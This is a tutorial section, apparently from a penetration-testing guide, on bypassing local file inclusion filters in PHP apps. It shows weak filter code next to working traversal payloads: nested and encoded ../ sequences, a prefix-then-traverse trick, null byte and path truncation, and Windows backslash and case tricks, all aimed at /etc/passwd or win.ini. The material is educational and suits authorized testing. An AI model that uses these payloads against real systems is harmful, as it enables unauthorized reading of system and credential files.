Apps often try to block LFI with input filters. These filters are usually weak — each one has a known bypass. The trick is matching the bypass to the specific filter in front of you.

Non-Recursive ../ Stripping

Weak filter — strips ../ once:

$file = str_replace('../', '', $_GET['file']);

Bypass — nest the pattern so stripping one occurrence leaves another:

?file=....//....//....//etc/passwd

After str_replace removes the inner ../, the leftover characters re-form into ../. Final path: ../../../etc/passwd.

Alternative shapes:

..././..././..././etc/passwd
...\/...\/...\/etc/passwd

URL / Character Encoding

Filter blocks literal . or /:

?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

The server decodes it back to ../../../../etc/passwd before reaching the filter.

Double URL encoding — if the filter decodes once then checks, but the app decodes twice:

?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd

First decode: %2e%2e%2f%2e%2e%2fetc%2fpasswd. The filter sees that (literal, not a traversal). Second decode (inside the app): ../../etc/passwd.

UTF-8 overlong encoding — rare but works on some servers:

?file=%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Approved-Path Regex

Filter only allows paths under a specific prefix:

if (!preg_match('/^\.\/language\//', $file)) die("bad path");
include($file);

Bypass — start with the approved prefix, then traverse out:

?file=./language/../../../../etc/passwd

The regex is satisfied (path starts with ./language/), and the traversal still resolves to /etc/passwd.

Null Byte Injection (Obsolete)

Filter appends an extension:

include($_GET['file'] . '.php');

Classic bypass — inject a null byte to terminate the string:

?file=/etc/passwd%00

The built path is /etc/passwd%00.php, but C-style string functions terminate at \0, so .php is discarded.

Works only on PHP < 5.3.4. On modern targets, don’t bother.

Path Truncation (Obsolete)

Same append-extension scenario. PHP < 5.3 has a 4096-byte path limit, after which trailing characters get truncated:

echo -n "non_existing/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

Final path padding pushes .php past the limit, truncating it away.

Works only on PHP < 5.3. Don’t rely on it for modern targets.

Case Variation

Filter does case-sensitive match on filenames:

?file=../../../etc/PASSWD      # Linux rejects — case sensitive
?file=../../../ETC/passwd      # Linux rejects
?file=..%5C..%5C..%5CWINDOWS/win.INI    # Windows accepts — case insensitive

Windows filesystems ignore case, so case toggling defeats filters that check strings but not paths.

Backslash Alternatives

On Windows, both / and \ work as path separators:

?file=..\..\..\windows\win.ini
?file=..%5C..%5C..%5Cwindows%5Cwin.ini

Many filters only strip / and miss \.

Combining Bypasses

Real filters often stack checks. A combined payload:

?file=%2e%2e%5c%2e%2e%5c....//etc/passwd%00

URL encoding + backslashes + nested ../ + null byte. Try one bypass at a time first to figure out which parts matter, then combine only what’s necessary.

Matching the Bypass to the Filter

Don’t spray every bypass at once — figure out what’s blocked:

  1. Try the raw payload — does it work?
  2. If not, is .. blocked? → try ....// or %2e%2e
  3. Is / blocked? → try %2f, \, or %5c
  4. Does an extension get appended? → try PHP wrappers (next section)
  5. Is there a required prefix? → start with it, then traverse out

The bypass that works tells you something about the code — handy intel for the report.